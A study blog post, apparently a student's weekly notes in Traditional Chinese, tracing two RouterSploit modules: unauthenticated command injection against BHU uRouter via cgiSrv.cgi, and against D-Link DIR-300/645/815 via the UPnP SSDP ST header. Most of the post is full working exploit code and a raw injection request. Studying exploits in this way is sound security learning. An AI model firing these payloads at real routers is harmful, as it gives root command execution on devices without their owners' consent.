# Trace module codes in routersploit
上禮拜自己寫了一個poc,可是那個poc只是一般的telnet的偵測。所以這個禮拜我想要把routersploit裡面的rce_module都trace一下,可以知道已經寫好的module是怎麼寫的,然後之後自己可以的話,可以再寫另一個是rce的poc。
## routersploit/routersploit/modules/exploits/routers/bhu/bhu_urouter_rce.py
```python=
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient
class Exploit(HTTPClient):
__info__ = {
"name": "BHU uRouter RCE",
"description": "Module exploits BHU uRouter unauthenticated remote code execution vulnerability, which "
"allows executing commands on the router with root privileges.",
"authors": (
"Tao 'depierre' Sauvage",
),
"references": (
"http://www.ioactive.com/pdfs/BHU-WiFi_uRouter-Security_Advisory_Final081716.pdf",
),
"devices": (
"BHU uRouter",
),
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def run(self):
if self.check():
print_success('Target is vulnerable')
print_status('Blind command injection - response is not available')
print_status('Possible extraction point:')
print_status('\t- Inject "CMD > /usr/share/www/routersploit.check"')
print_status('\t- The result of CMD will be available at {}:{}/routersploit.check'.format(self.target, self.port))
print_status("Invoking command loop (type 'exit' or 'quit' to exit the loop)...")
shell(self, architecture="mipsbe")
else:
print_error('Target is not vulnerable')
def execute(self, cmd):
headers = {'Content-Type': 'text/xml', 'X-Requested-With': 'XMLHttpRequest'}
data = '<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'.format(cmd)
self.http_request(
method="POST",
path="/cgi-bin/cgiSrv.cgi",
headers=headers,
data=data
)
return '' # Blind RCE so no response available
@mute
def check(self):
headers = {'Content-Type': 'text/xml', 'X-Requested-With': 'XMLHttpRequest'}
data = '<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'
# Blind unauth RCE so we first create a file in the www-root directory
cmd_echo = data.format(u'echo "$USER" > /usr/share/www/routersploit.check')
response = self.http_request(
method="POST",
path="/cgi-bin/cgiSrv.cgi",
headers=headers,
data=cmd_echo
)
if not response or u'status="doing"' not in response.text:
return False
# Second we check that the file was successfully created
response = self.http_request(
method="GET",
path="/routersploit.check",
)
if not response.status_code == 200 or u'root' not in response.text:
return False
# Third we clean up the temp file. No need to check if successful since we already check that the device was
# vulnerable at this point.
cmd_rm = data.format("rm -f /usr/share/www/routersploit.check")
self.http_request(
method="POST",
path="/cgi-bin/cgiSrv.cgi",
headers=headers,
data=cmd_rm
)
return True
```
這邊是參考[這個](https://www.cnblogs.com/k1two2/p/5808839.html),所以才知道說他的payload為什麼要這樣下。他大概就是reverse了整個firmware。
一開始發現是用U-boot,所以就可以先看一下`printenv`,之後發現他在開始前面的引導之後,就會call`/sbin/init`,所以就用setenv把`/sbin/init`改成`bin/sh`,這樣就可以run built-in的shell了。之後就`ls`,然後把整個dict都dump出來,就可以開始reverse他的firmware了,雖然我不太會reverse,但是因為他是mips的arch,所以我在他的指示之下,勉強還是看得懂他想要解釋的是什麼~
在上面這個poc裡面,他想要達成的其實就是下面的這個request:
```
POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 59
Connection: close
<cmd>
<ITEM cmd="traceroute" addr="$(u'echo "$USER" > /usr/share/www/routersploit.check')" />
</cmd>
```
註:
`"` -> `"`
`>` -> `>`
## routersploit/routersploit/modules/exploits/routers/dlink/dir_300_645_815_upnp_rce.py
這是另外一個rce的洞,一樣有找到可以參考的[資料](https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html),發現他的cgibin這個binary裡面,有一個部分就是有處理upnp的ssdp request,在ssdp的discovery request底下,有幾個header要set,可以參考[這邊](https://mzh.io/ssdp%E5%8D%8F%E8%AE%AE%E7%AC%94%E8%AE%B0/),大概有ST、MX、MAN…。然後其中的ST(設定搜尋條件)的header,可以造成injection的攻擊,下面就是他的code:
```python=
1 from routersploit.core.exploit import *
2 from routersploit.core.udp.udp_client import UDPClient
3
4
5 class Exploit(UDPClient):
6 __info__ = {
7 "name": "D-Link DIR-300 & DIR-645 & DIR-815 UPNP RCE",
8 "description": "Module exploits D-Link DIR-300, DIR-645 and DIR-815 UPNP Remote Code Execution vulnerability which allows executing command on the device.",
9 "authors": (
10 "Zachary Cutlip", # vulnerability discovery
11 "Marcin Bury <marcin[at]threat9.com>", # routersploit module
12 ),
13 "references": (
14 "https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection",
15 "http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html",
16 "https://www.exploit-db.com/exploits/34065/",
17 ),
18 "devices": (
19 "D-Link DIR-300",
20 "D-Link DIR-645",
21 "D-Link DIR-815",
22 )
23 }
24
25 target = OptIP("", "Target IPv4 or IPv6 address")
26 port = OptPort(1900, "Target UPNP port")
27
28 def run(self):
29 if self.check():
30 print_success("Target seems to be vulnerable")
31 print_status("Invoking command loop...")
32 print_status("It is blind command injection, response is not available")
33 shell(self, architecture="mipsle")
34 else:
35 print_error("Exploit failed - target seems to be not vulnerable")
36
37 def execute(self, cmd):
38 cmd = bytes(cmd, "utf-8")
39
40 request = (
41 b"M-SEARCH * HTTP/1.1\r\n" +
42 b"Host:239.255.255.250:1900\r\n" +
43 b"ST:uuid:`" + cmd + b"`\r\n" +
44 b"Man:\"ssdp:discover\"\r\n" +
45 b"MX:2\r\n\r\n"
46 )
47
48 udp_client = self.udp_create()
49 udp_client.send(request)
50 udp_client.close()
51
52 return ""
53
54 @mute
55 def check(self):
56 request = (
57 b"M-SEARCH * HTTP/1.1\r\n"
58 b"Host:239.255.255.250:1900\r\n"
59 b"ST:upnp:rootdevice\r\n"
60 b"Man:\"ssdp:discover\"\r\n"
61 b"MX:2\r\n\r\n"
62 )
63
64 udp_client = self.udp_create()
65
66 if udp_client:
67 udp_client.send(request)
68 response = udp_client.recv(65535)
69 udp_client.close()
70
71 if response and b"Linux, UPnP/1.0, DIR-" in response:
72 return True # target is vulnerable
73
74 return False # target is not vulnerable
~
```
然後總結一下這個禮拜我在trace code的心得,我覺得單看他們的code其實有時候是很難理解說他們為什麼在某個地方下payload,就可以觸發vlun,然後回頭看一下原因,十有八九都是因為reverse的結果,所以我覺得自己應該也要可以去跟著去reverse他們說的那邊binary,這樣才能去知道說一個漏洞可以怎麼被發現,這大概是我這個禮拜trace完的心得。